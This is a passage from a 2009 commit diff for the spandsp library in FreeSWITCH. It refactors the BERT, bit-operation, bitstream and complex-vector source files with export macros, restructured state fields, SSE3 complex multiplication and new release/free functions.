                          "ThE QuicK BrowN FoX JumpS OveR ThE LazY DoG 123 456 7890 + - * : = $ % ( )";
 
-const char *bert_event_to_str(int event)
+SPAN_DECLARE(const char *) bert_event_to_str(int event)
 {
     switch (event)
     {
@@ -73,57 +78,57 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int bert_get_bit(bert_state_t *s)
+SPAN_DECLARE(int) bert_get_bit(bert_state_t *s)
 {
     int bit;
 
-    if (s->limit  &&  s->tx_bits >= s->limit)
+    if (s->limit  &&  s->tx.bits >= s->limit)
         return SIG_STATUS_END_OF_DATA;
     bit = 0;
     switch (s->pattern_class)
     {
     case 0:
-        bit = s->tx_reg & 1;
-        s->tx_reg = (s->tx_reg >> 1) | ((s->tx_reg & 1) << s->shift2);
+        bit = s->tx.reg & 1;
+        s->tx.reg = (s->tx.reg >> 1) | ((s->tx.reg & 1) << s->shift2);
         break;
     case 1:
-        bit = s->tx_reg & 1;
-        s->tx_reg = (s->tx_reg >> 1) | (((s->tx_reg ^ (s->tx_reg >> s->shift)) & 1) << s->shift2);
+        bit = s->tx.reg & 1;
+        s->tx.reg = (s->tx.reg >> 1) | (((s->tx.reg ^ (s->tx.reg >> s->shift)) & 1) << s->shift2);
         if (s->max_zeros)
         {
             /* This generator suppresses runs >s->max_zeros */
             if (bit)
             {
-                if (++s->tx_zeros > s->max_zeros)
+                if (++s->tx.zeros > s->max_zeros)
                 {
-                    s->tx_zeros = 0;
+                    s->tx.zeros = 0;
                     bit ^= 1;
                 }
             }
             else
             {
-                s->tx_zeros = 0;
+                s->tx.zeros = 0;
             }
         }
         bit ^= s->invert;
         break;
     case 2:
-        if (s->tx_step_bit == 0)
+        if (s->tx.step_bit == 0)
         {
-            s->tx_step_bit = 7;
-            s->tx_reg = qbf[s->tx_step++];
-            if (s->tx_reg == 0)
+            s->tx.step_bit = 7;
+            s->tx.reg = qbf[s->tx.step++];
+            if (s->tx.reg == 0)
             {
-                s->tx_reg = 'V';
-                s->tx_step = 1;
+                s->tx.reg = 'V';
+                s->tx.step = 1;
             }
         }
-        bit = s->tx_reg & 1;
-        s->tx_reg >>= 1;
-        s->tx_step_bit--;
+        bit = s->tx.reg & 1;
+        s->tx.reg >>= 1;
+        s->tx.step_bit--;
         break;
     }
-    s->tx_bits++;
+    s->tx.bits++;
     return bit;
 }
 /*- End of function --------------------------------------------------------*/
@@ -180,7 +185,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void bert_put_bit(bert_state_t *s, int bit)
+SPAN_DECLARE(void) bert_put_bit(bert_state_t *s, int bit)
 {
     if (bit < 0)
     {
@@ -189,58 +194,58 @@
         return;
     }
     bit = (bit & 1) ^ s->invert;
-    s->rx_bits++;
+    s->rx.bits++;
     switch (s->pattern_class)
     {
     case 0:
-        if (s->resync)
+        if (s->rx.resync)
         {
-            s->rx_reg = (s->rx_reg >> 1) | (bit << s->shift2);
-            s->ref_reg = (s->ref_reg >> 1) | ((s->ref_reg & 1) << s->shift2);
-            if (s->rx_reg == s->ref_reg)
+            s->rx.reg = (s->rx.reg >> 1) | (bit << s->shift2);
+            s->rx.ref_reg = (s->rx.ref_reg >> 1) | ((s->rx.ref_reg & 1) << s->shift2);
+            if (s->rx.reg == s->rx.ref_reg)
             {
-                if (++s->resync > s->resync_time)
+                if (++s->rx.resync > s->resync_time)
                 {
-                    s->resync = 0;
+                    s->rx.resync = 0;
                     if (s->reporter)
                         s->reporter(s->user_data, BERT_REPORT_SYNCED, &s->results);
                 }
             }
             else
             {
-                s->resync = 2;
-                s->ref_reg = s->master_reg;
+                s->rx.resync = 2;
+                s->rx.ref_reg = s->rx.master_reg;
             }
         }
         else
         {
             s->results.total_bits++;
-            if ((bit ^ s->ref_reg) & 1)
+            if ((bit ^ s->rx.ref_reg) & 1)
                 s->results.bad_bits++;
-            s->ref_reg = (s->ref_reg >> 1) | ((s->ref_reg & 1) << s->shift2);
+            s->rx.ref_reg = (s->rx.ref_reg >> 1) | ((s->rx.ref_reg & 1) << s->shift2);
         }
         break;
     case 1:
-        if (s->resync)
+        if (s->rx.resync)
         {
             /* If we get a reasonable period for which we correctly predict the
                next bit, we must be in sync. */
             /* Don't worry about max. zeros tests when resyncing.
                It might just extend the resync time a little. Trying
                to include the test might affect robustness. */
-            if (bit == (int) ((s->rx_reg >> s->shift) & 1))
+            if (bit == (int) ((s->rx.reg >> s->shift) & 1))
             {
-                if (++s->resync > s->resync_time)
+                if (++s->rx.resync > s->resync_time)
                 {
-                    s->resync = 0;
+                    s->rx.resync = 0;
                     if (s->reporter)
                         s->reporter(s->user_data, BERT_REPORT_SYNCED, &s->results);
                 }
             }
             else
             {
-                s->resync = 2;
-                s->rx_reg ^= s->mask;
+                s->rx.resync = 2;
+                s->rx.reg ^= s->mask;
             }
         }
         else
@@ -249,79 +254,79 @@
             if (s->max_zeros)
             {
                 /* This generator suppresses runs >s->max_zeros */
-                if ((s->rx_reg & s->mask))
+                if ((s->rx.reg & s->mask))
                 {
-                    if (++s->rx_zeros > s->max_zeros)
+                    if (++s->rx.zeros > s->max_zeros)
                     {
-                        s->rx_zeros = 0;
+                        s->rx.zeros = 0;
                         bit ^= 1;
                     }
                 }
                 else
                 {
-                    s->rx_zeros = 0;
+                    s->rx.zeros = 0;
                 }
             }
-            if (bit != (int) ((s->rx_reg >> s->shift) & 1))
+            if (bit != (int) ((s->rx.reg >> s->shift) & 1))
             {
                 s->results.bad_bits++;
-                s->resync_bad_bits++;
+                s->rx.resync_bad_bits++;
                 s->decade_bad[2][s->decade_ptr[2]]++;
             }
-            if (--s->step <= 0)
+            if (--s->rx.measurement_step <= 0)
             {
                 /* Every hundred bits we need to do the error rate measurement */
-                s->step = 100;
+                s->rx.measurement_step = MEASUREMENT_STEP;
                 assess_error_rate(s);
             }
-            if (--s->resync_cnt <= 0)
+            if (--s->rx.resync_cnt <= 0)
             {
                 /* Check if there were enough bad bits during this period to
                    justify a resync. */
-                if (s->resync_bad_bits >= (s->resync_len*s->resync_percent)/100)
+                if (s->rx.resync_bad_bits >= (s->rx.resync_len*s->rx.resync_percent)/100)
                 {
-                    s->resync = 1;
+                    s->rx.resync = 1;
                     s->results.resyncs++;
                     if (s->reporter)
                         s->reporter(s->user_data, BERT_REPORT_UNSYNCED, &s->results);
                 }
-                s->resync_cnt = s->resync_len;
-                s->resync_bad_bits = 0;
+                s->rx.resync_cnt = s->rx.resync_len;
+                s->rx.resync_bad_bits = 0;
             }
         }
-        s->rx_reg = (s->rx_reg >> 1) | (((s->rx_reg ^ (s->rx_reg >> s->shift)) & 1) << s->shift2);
+        s->rx.reg = (s->rx.reg >> 1) | (((s->rx.reg ^ (s->rx.reg >> s->shift)) & 1) << s->shift2);
         break;
     case 2:
-        s->rx_reg = (s->rx_reg >> 1) | (bit << 6);
+        s->rx.reg = (s->rx.reg >> 1) | (bit << 6);
         /* TODO: There is no mechanism for synching yet. This only works if things start in sync. */
-        if (++s->rx_step_bit == 7)
+        if (++s->rx.step_bit == 7)
         {
-            s->rx_step_bit = 0;
-            if ((int) s->rx_reg != qbf[s->rx_step])
+            s->rx.step_bit = 0;
+            if ((int) s->rx.reg != qbf[s->rx.step])
             {
                 /* We need to work out the number of actual bad bits here. We need to look at the
                    error rate, and see it a resync is needed. etc. */
                 s->results.bad_bits++;
             }
-            if (qbf[++s->rx_step] == '\0')
-                s->rx_step = 0;
+            if (qbf[++s->rx.step] == '\0')
+                s->rx.step = 0;
         }
         s->results.total_bits++;
         break;
     }
     if (s->report_frequency > 0)
     {
-        if (--s->report_countdown <= 0)
+        if (--s->rx.report_countdown <= 0)
         {
             if (s->reporter)
                 s->reporter(s->user_data, BERT_REPORT_REGULAR, &s->results);
-            s->report_countdown = s->report_frequency;
+            s->rx.report_countdown = s->report_frequency;
         }
     }
 }
 /*- End of function --------------------------------------------------------*/
 
-int bert_result(bert_state_t *s, bert_results_t *results)
+SPAN_DECLARE(int) bert_result(bert_state_t *s, bert_results_t *results)
 {
     results->total_bits = s->results.total_bits;
     results->bad_bits = s->results.bad_bits;
@@ -330,17 +335,17 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void bert_set_report(bert_state_t *s, int freq, bert_report_func_t reporter, void *user_data)
+SPAN_DECLARE(void) bert_set_report(bert_state_t *s, int freq, bert_report_func_t reporter, void *user_data)
 {
     s->report_frequency = freq;
     s->reporter = reporter;
     s->user_data = user_data;
     
-    s->report_countdown = s->report_frequency;
+    s->rx.report_countdown = s->report_frequency;
 }
 /*- End of function --------------------------------------------------------*/
 
-bert_state_t *bert_init(bert_state_t *s, int limit, int pattern, int resync_len, int resync_percent)
+SPAN_DECLARE(bert_state_t *) bert_init(bert_state_t *s, int limit, int pattern, int resync_len, int resync_percent)
 {
     int i;
     int j;
@@ -348,7 +353,7 @@
     if (s == NULL)
     {
         if ((s = (bert_state_t *) malloc(sizeof(*s))) == NULL)
-            return  NULL;
+            return NULL;
     }
     memset(s, 0, sizeof(*s));
 
@@ -363,47 +368,47 @@
     switch (s->pattern)
     {
     case BERT_PATTERN_ZEROS:
-        s->tx_reg = 0;
+        s->tx.reg = 0;
         s->shift2 = 31;
         s->pattern_class = 0;
         break;
     case BERT_PATTERN_ONES:
-        s->tx_reg = ~((uint32_t) 0);
+        s->tx.reg = ~((uint32_t) 0);
         s->shift2 = 31;
         s->pattern_class = 0;
         break;
     case BERT_PATTERN_7_TO_1:
-        s->tx_reg = 0xFEFEFEFE;
+        s->tx.reg = 0xFEFEFEFE;
         s->shift2 = 31;
         s->pattern_class = 0;
         break;
     case BERT_PATTERN_3_TO_1:
-        s->tx_reg = 0xEEEEEEEE;
+        s->tx.reg = 0xEEEEEEEE;
         s->shift2 = 31;
         s->pattern_class = 0;
         break;
     case BERT_PATTERN_1_TO_1:
-        s->tx_reg = 0xAAAAAAAA;
+        s->tx.reg = 0xAAAAAAAA;
         s->shift2 = 31;
         s->pattern_class = 0;
         break;
     case BERT_PATTERN_1_TO_3:
-        s->tx_reg = 0x11111111;
+        s->tx.reg = 0x11111111;
         s->shift2 = 31;
         s->pattern_class = 0;
         break;
     case BERT_PATTERN_1_TO_7:
-        s->tx_reg = 0x01010101;
+        s->tx.reg = 0x01010101;
         s->shift2 = 31;
         s->pattern_class = 0;
         break;
     case BERT_PATTERN_QBF:
-        s->tx_reg = 0;
+        s->tx.reg = 0;
         s->pattern_class = 2;
         break;
     case BERT_PATTERN_ITU_O151_23:
         s->pattern_class = 1;
-        s->tx_reg = 0x7FFFFF;
+        s->tx.reg = 0x7FFFFF;
         s->mask = 0x20;
         s->shift = 5;
         s->shift2 = 22;
@@ -413,7 +418,7 @@
         break;
     case BERT_PATTERN_ITU_O151_20:
         s->pattern_class = 1;
-        s->tx_reg = 0xFFFFF;
+        s->tx.reg = 0xFFFFF;
         s->mask = 0x8;
         s->shift = 3;
         s->shift2 = 19;
@@ -423,7 +428,7 @@
         break;
     case BERT_PATTERN_ITU_O151_15:
         s->pattern_class = 1;
-        s->tx_reg = 0x7FFF;
+        s->tx.reg = 0x7FFF;
         s->mask = 0x2;
         s->shift = 1;
         s->shift2 = 14;
@@ -433,7 +438,7 @@
         break;
     case BERT_PATTERN_ITU_O152_11:
         s->pattern_class = 1;
-        s->tx_reg = 0x7FF;
+        s->tx.reg = 0x7FF;
         s->mask = 0x4;
         s->shift = 2;
         s->shift2 = 10;
@@ -443,7 +448,7 @@
         break;
     case BERT_PATTERN_ITU_O153_9:
         s->pattern_class = 1;
-        s->tx_reg = 0x1FF;
+        s->tx.reg = 0x1FF;
         s->mask = 0x10;
         s->shift = 4;
         s->shift2 = 8;
@@ -452,28 +457,29 @@
         s->max_zeros = 0;
         break;
     }
-    s->tx_bits = 0;
-    s->tx_step = 0;
-    s->tx_step_bit = 0;
-    s->tx_zeros = 0;
+    s->tx.bits = 0;
+    s->tx.step = 0;
+    s->tx.step_bit = 0;
+    s->tx.zeros = 0;
 
-    s->rx_reg = s->tx_reg;
-    s->ref_reg = s->rx_reg;
-    s->master_reg = s->ref_reg;
-    s->rx_bits = 0;
-    s->rx_step = 0;
-    s->rx_step_bit = 0;
+    s->rx.reg = s->tx.reg;
+    s->rx.ref_reg = s->rx.reg;
+    s->rx.master_reg = s->rx.ref_reg;
+    s->rx.bits = 0;
+    s->rx.step = 0;
+    s->rx.step_bit = 0;
 
-    s->resync = 1;
-    s->resync_cnt = resync_len;
-    s->resync_bad_bits = 0;
-    s->resync_len = resync_len;
-    s->resync_percent = resync_percent;
+    s->rx.resync = 1;
+    s->rx.resync_cnt = resync_len;
+    s->rx.resync_bad_bits = 0;
+    s->rx.resync_len = resync_len;
+    s->rx.resync_percent = resync_percent;
+
     s->results.total_bits = 0;
     s->results.bad_bits = 0;
     s->results.resyncs = 0;
 
-    s->report_countdown = 0;
+    s->rx.report_countdown = 0;
 
     for (i = 0;  i < 8;  i++)
     {
@@ -482,7 +488,7 @@
         s->decade_ptr[i] = 0;
     }
     s->error_rate = 8;
-    s->step = 100;
+    s->rx.measurement_step = MEASUREMENT_STEP;
     
     span_log_init(&s->logging, SPAN_LOG_NONE, NULL);
     span_log_set_protocol(&s->logging, "BERT");
@@ -490,4 +496,17 @@
     return  s;
 }
 /*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) bert_release(bert_state_t *s)
+{
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) bert_free(bert_state_t *s)
+{
+    free(s);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
 /*- End of file ------------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/src/bit_operations.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/bit_operations.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/bit_operations.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: bit_operations.c,v 1.15 2008/06/28 01:13:08 steveu Exp $
+ * $Id: bit_operations.c,v 1.16 2009/02/03 16:28:39 steveu Exp $
  */
 
 /*! \file */
@@ -41,7 +41,7 @@
 #include "spandsp/telephony.h"
 #include "spandsp/bit_operations.h"
 
-uint16_t bit_reverse16(uint16_t x)
+SPAN_DECLARE(uint16_t) bit_reverse16(uint16_t x)
 {
     x = (x >> 8) | (x << 8);
     x = ((x & 0xF0F0) >> 4) | ((x & 0x0F0F) << 4);
@@ -50,7 +50,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-uint32_t bit_reverse32(uint32_t x)
+SPAN_DECLARE(uint32_t) bit_reverse32(uint32_t x)
 {
     x = (x >> 16) | (x << 16);
     x = ((x & 0xFF00FF00) >> 8) | ((x & 0x00FF00FF) << 8);
@@ -60,7 +60,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-uint32_t bit_reverse_4bytes(uint32_t x)
+SPAN_DECLARE(uint32_t) bit_reverse_4bytes(uint32_t x)
 {
     x = ((x & 0xF0F0F0F0) >> 4) | ((x & 0x0F0F0F0F) << 4);
     x = ((x & 0xCCCCCCCC) >> 2) | ((x & 0x33333333) << 2);
@@ -69,7 +69,7 @@
 /*- End of function --------------------------------------------------------*/
 
 #if defined(__x86_64__)
-uint64_t bit_reverse_8bytes(uint64_t x)
+SPAN_DECLARE(uint64_t) bit_reverse_8bytes(uint64_t x)
 {
     x = ((x & 0xF0F0F0F0F0F0F0F0LLU) >> 4) | ((x & 0x0F0F0F0F0F0F0F0FLLU) << 4);
     x = ((x & 0xCCCCCCCCCCCCCCCCLLU) >> 2) | ((x & 0x3333333333333333LLU) << 2);
@@ -78,7 +78,7 @@
 /*- End of function --------------------------------------------------------*/
 #endif
 
-void bit_reverse(uint8_t to[], const uint8_t from[], int len)
+SPAN_DECLARE(void) bit_reverse(uint8_t to[], const uint8_t from[], int len)
 {
 #if defined(SPANDSP_MISALIGNED_ACCESS_FAILS)
     int i;
@@ -138,7 +138,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int one_bits32(uint32_t x)
+SPAN_DECLARE(int) one_bits32(uint32_t x)
 {
     x = x - ((x >> 1) & 0x55555555);
     /* We now have 16 2-bit counts */
@@ -158,7 +158,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-uint32_t make_mask32(uint32_t x)
+SPAN_DECLARE(uint32_t) make_mask32(uint32_t x)
 {
     x |= (x >> 1);
     x |= (x >> 2);
@@ -169,7 +169,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-uint16_t make_mask16(uint16_t x)
+SPAN_DECLARE(uint16_t) make_mask16(uint16_t x)
 {
     x |= (x >> 1);
     x |= (x >> 2);

Modified: freeswitch/branches/seven/libs/spandsp/src/bitstream.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/bitstream.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/bitstream.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,13 +22,13 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: bitstream.c,v 1.13 2008/05/13 13:17:22 steveu Exp $
+ * $Id: bitstream.c,v 1.18 2009/02/10 13:06:46 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <inttypes.h>
@@ -39,7 +39,9 @@
 #include "spandsp/telephony.h"
 #include "spandsp/bitstream.h"
 
-void bitstream_put(bitstream_state_t *s, uint8_t **c, unsigned int value, int bits)
+#include "spandsp/private/bitstream.h"
+
+SPAN_DECLARE(void) bitstream_put(bitstream_state_t *s, uint8_t **c, uint32_t value, int bits)
 {
     value &= ((1 << bits) - 1);
     if (s->residue + bits <= 32)
@@ -56,7 +58,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void bitstream_put2(bitstream_state_t *s, uint8_t **c, unsigned int value, int bits)
+SPAN_DECLARE(void) bitstream_put2(bitstream_state_t *s, uint8_t **c, uint32_t value, int bits)
 {
     value &= ((1 << bits) - 1);
     if (s->residue + bits <= 32)
@@ -72,14 +74,13 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-unsigned int bitstream_get(bitstream_state_t *s, const uint8_t **c, int bits)
+SPAN_DECLARE(uint32_t) bitstream_get(bitstream_state_t *s, const uint8_t **c, int bits)
 {
-    unsigned int x;
+    uint32_t x;
 
-    while (s->residue < (unsigned int) bits)
+    while (s->residue < bits)
     {
-        x = (unsigned int) *(*c)++;
-        s->bitstream |= (x << s->residue);
+        s->bitstream |= (((uint32_t) *(*c)++) << s->residue);
         s->residue += 8;
     }
     s->residue -= bits;
@@ -89,14 +90,13 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-unsigned int bitstream_get2(bitstream_state_t *s, const uint8_t **c, int bits)
+SPAN_DECLARE(uint32_t) bitstream_get2(bitstream_state_t *s, const uint8_t **c, int bits)
 {
-    unsigned int x;
+    uint32_t x;
 
-    while (s->residue < (unsigned int) bits)
+    while (s->residue < bits)
     {
-        x = (unsigned int) *(*c)++;
-        s->bitstream = (s->bitstream << 8) | x;
+        s->bitstream = (s->bitstream << 8) | ((uint32_t) *(*c)++);
         s->residue += 8;
     }
     s->residue -= bits;
@@ -105,7 +105,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void bitstream_flush(bitstream_state_t *s, uint8_t **c)
+SPAN_DECLARE(void) bitstream_flush(bitstream_state_t *s, uint8_t **c)
 {
     if (s->residue > 0)
     {
@@ -115,7 +115,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void bitstream_flush2(bitstream_state_t *s, uint8_t **c)
+SPAN_DECLARE(void) bitstream_flush2(bitstream_state_t *s, uint8_t **c)
 {
     if (s->residue > 0)
     {
@@ -125,13 +125,30 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-bitstream_state_t *bitstream_init(bitstream_state_t *s)
+SPAN_DECLARE(bitstream_state_t *) bitstream_init(bitstream_state_t *s)
 {
     if (s == NULL)
-        return NULL;
+    {
+        if ((s = (bitstream_state_t *) malloc(sizeof(*s))) == NULL)
+            return NULL;
+    }
     s->bitstream = 0;
     s->residue = 0;
     return s;
 }
 /*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) bitstream_release(bitstream_state_t *s)
+{
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) bitstream_free(bitstream_state_t *s)
+{
+    if (s)
+        free(s);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
 /*- End of file ------------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/src/complex_filters.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/complex_filters.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/complex_filters.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,21 +22,22 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: complex_filters.c,v 1.13 2008/05/13 13:17:22 steveu Exp $
+ * $Id: complex_filters.c,v 1.16 2009/02/03 16:28:39 steveu Exp $
  */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdlib.h>
 #include <stdio.h>
 #include <inttypes.h>
 
+#include "spandsp/telephony.h"
 #include "spandsp/complex.h"
 #include "spandsp/complex_filters.h"
 
-filter_t *filter_create(fspec_t *fs)
+SPAN_DECLARE(filter_t *) filter_create(fspec_t *fs)
 {
     int i;
     filter_t *fi;
@@ -52,19 +53,22 @@
     }
     return fi;
 }
+/*- End of function --------------------------------------------------------*/
 
-void filter_delete(filter_t *fi)
+SPAN_DECLARE(void) filter_delete(filter_t *fi)
 {
     if (fi)
         free(fi);
 }
+/*- End of function --------------------------------------------------------*/
 
-float filter_step(filter_t *fi, float x)
+SPAN_DECLARE(float) filter_step(filter_t *fi, float x)
 {
     return fi->fs->fsf(fi, x);
 }
+/*- End of function --------------------------------------------------------*/
 
-cfilter_t *cfilter_create(fspec_t *fs)
+SPAN_DECLARE(cfilter_t *) cfilter_create(fspec_t *fs)
 {
     cfilter_t *cfi;
 
@@ -84,8 +88,9 @@
     }
     return cfi;
 }
+/*- End of function --------------------------------------------------------*/
 
-void cfilter_delete(cfilter_t *cfi)
+SPAN_DECLARE(void) cfilter_delete(cfilter_t *cfi)
 {
     if (cfi)
     {
@@ -93,8 +98,9 @@
         filter_delete(cfi->imf);
     }
 }
+/*- End of function --------------------------------------------------------*/
 
-complexf_t cfilter_step(cfilter_t *cfi, const complexf_t *z)
+SPAN_DECLARE(complexf_t) cfilter_step(cfilter_t *cfi, const complexf_t *z)
 {
     complexf_t cc;
     
@@ -102,3 +108,5 @@
     cc.im = filter_step(cfi->imf, z->im);
     return cc;
 }
+/*- End of function --------------------------------------------------------*/
+/*- End of file ------------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/src/complex_vector_float.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/complex_vector_float.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/complex_vector_float.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,20 +22,19 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: complex_vector_float.c,v 1.10 2008/09/18 13:16:49 steveu Exp $
+ * $Id: complex_vector_float.c,v 1.16 2009/07/12 09:23:09 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <inttypes.h>
 #include <stdlib.h>
 #include <stdio.h>
 #include <string.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
@@ -44,15 +43,91 @@
 #endif
 #include <assert.h>
 
+#include "floating_fudge.h"
+#include "mmx_sse_decs.h"
+
 #include "spandsp/telephony.h"
 #include "spandsp/logging.h"
 #include "spandsp/complex.h"
 #include "spandsp/vector_float.h"
 #include "spandsp/complex_vector_float.h"
 
-complexf_t cvec_dot_prodf(const complexf_t x[], const complexf_t y[], int n)
+#if defined(__GNUC__)  &&  defined(SPANDSP_USE_SSE3)
+SPAN_DECLARE(void) cvec_mulf(complexf_t z[], const complexf_t x[], const complexf_t y[], int n)
 {
     int i;
+    __m128 n0;
+    __m128 n1;
+    __m128 n2;
+    __m128 n3;
+
+    if ((i = n & ~1))
+    {
+        i <<= 1;
+        for (i -= 4;  i >= 0;  i -= 4)
+        {
+            n3 = _mm_loadu_ps((float *) x + i);
+            n0 = _mm_moveldup_ps(n3);
+            n1 = _mm_loadu_ps((float *) y + i);
+            n0 = _mm_mul_ps(n0, n1);
+            n1 = _mm_shuffle_ps(n1, n1, 0xB1);
+            n2 = _mm_movehdup_ps(n3);
+            n2 = _mm_mul_ps(n2, n1);
+            n0 = _mm_addsub_ps(n0, n2);
+            _mm_storeu_ps((float *) z + i, n0);
+        }
+    }
+    /* Now deal with the last element, which doesn't fill an SSE2 register */
+    switch (n & 1)
+    {
+    case 1:
+        z[n - 1].re = x[n - 1].re*y[n - 1].re - x[n - 1].im*y[n - 1].im;
+        z[n - 1].im = x[n - 1].re*y[n - 1].im + x[n - 1].im*y[n - 1].re;
+    }
+}
+#else
+SPAN_DECLARE(void) cvec_mulf(complexf_t z[], const complexf_t x[], const complexf_t y[], int n)
+{
+    int i;
+
+    for (i = 0;  i < n;  i++)
+    {
+        z[i].re = x[i].re*y[i].re - x[i].im*y[i].im;
+        z[i].im = x[i].re*y[i].im + x[i].im*y[i].re;
+    }
+}
+#endif
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(void) cvec_mul(complex_t z[], const complex_t x[], const complex_t y[], int n)
+{
+    int i;
+
+    for (i = 0;  i < n;  i++)
+    {
+        z[i].re = x[i].re*y[i].re - x[i].im*y[i].im;
+        z[i].im = x[i].re*y[i].im + x[i].im*y[i].re;
+    }
+}
+/*- End of function --------------------------------------------------------*/
+
+#if defined(HAVE_LONG_DOUBLE)
+SPAN_DECLARE(void) cvec_mull(complexl_t z[], const complexl_t x[], const complexl_t y[], int n)
+{
+    int i;
+
+    for (i = 0;  i < n;  i++)
+    {
+        z[i].re = x[i].re*y[i].re - x[i].im*y[i].im;
+        z[i].im = x[i].re*y[i].im + x[i].im*y[i].re;
+    }
+}
+/*- End of function --------------------------------------------------------*/
+#endif
+
+SPAN_DECLARE(complexf_t) cvec_dot_prodf(const complexf_t x[], const complexf_t y[], int n)
+{
+    int i;
     complexf_t z;
 
     z = complex_setf(0.0f, 0.0f);
@@ -65,7 +140,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-complex_t cvec_dot_prod(const complex_t x[], const complex_t y[], int n)
+SPAN_DECLARE(complex_t) cvec_dot_prod(const complex_t x[], const complex_t y[], int n)
 {
     int i;
     complex_t z;
@@ -81,7 +156,7 @@
 /*- End of function --------------------------------------------------------*/
 
 #if defined(HAVE_LONG_DOUBLE)
-complexl_t cvec_dot_prodl(const complexl_t x[], const complexl_t y[], int n)
+SPAN_DECLARE(complexl_t) cvec_dot_prodl(const complexl_t x[], const complexl_t y[], int n)
 {
     int i;
     complexl_t z;
@@ -97,7 +172,7 @@
 /*- End of function --------------------------------------------------------*/
 #endif
 
-complexf_t cvec_circular_dot_prodf(const complexf_t x[], const complexf_t y[], int n, int pos)
+SPAN_DECLARE(complexf_t) cvec_circular_dot_prodf(const complexf_t x[], const complexf_t y[], int n, int pos)
 {
     complexf_t z;
     complexf_t z1;
@@ -109,22 +184,22 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void cvec_lmsf(const complexf_t x[], complexf_t y[], int n, const complexf_t *error)
+#define LMS_LEAK_RATE   0.9999f
+
+SPAN_DECLARE(void) cvec_lmsf(const complexf_t x[], complexf_t y[], int n, const complexf_t *error)
 {
     int i;
 
     for (i = 0;  i < n;  i++)
     {
-        y[i].re += (x[i].im*error->im + x[i].re*error->re);
-        y[i].im += (x[i].re*error->im - x[i].im*error->re);
         /* Leak a little to tame uncontrolled wandering */
-        y[i].re *= 0.9999f;
-        y[i].im *= 0.9999f;
+        y[i].re = y[i].re*LMS_LEAK_RATE + (x[i].im*error->im + x[i].re*error->re);
+        y[i].im = y[i].im*LMS_LEAK_RATE + (x[i].re*error->im - x[i].im*error->re);
     }
 }
 /*- End of function --------------------------------------------------------*/
 
-void cvec_circular_lmsf(const complexf_t x[], complexf_t y[], int n, int pos, const complexf_t *error)
+SPAN_DECLARE(void) cvec_circular_lmsf(const complexf_t x[], complexf_t y[], int n, int pos, const complexf_t *error)
 {
     cvec_lmsf(&x[pos], &y[0], n - pos, error);
     cvec_lmsf(&x[0], &y[n - pos], pos, error);

Modified: freeswitch/branches/seven/libs/spandsp/src/complex_vector_int.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/complex_vector_int.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/complex_vector_int.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,20 +22,19 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: complex_vector_int.c,v 1.3 2008/09/18 13:54:32 steveu Exp $
+ * $Id: complex_vector_int.c,v 1.9 2009/07/12 09:23:09 steveu Exp $
  */
 
 /*! \file */
 
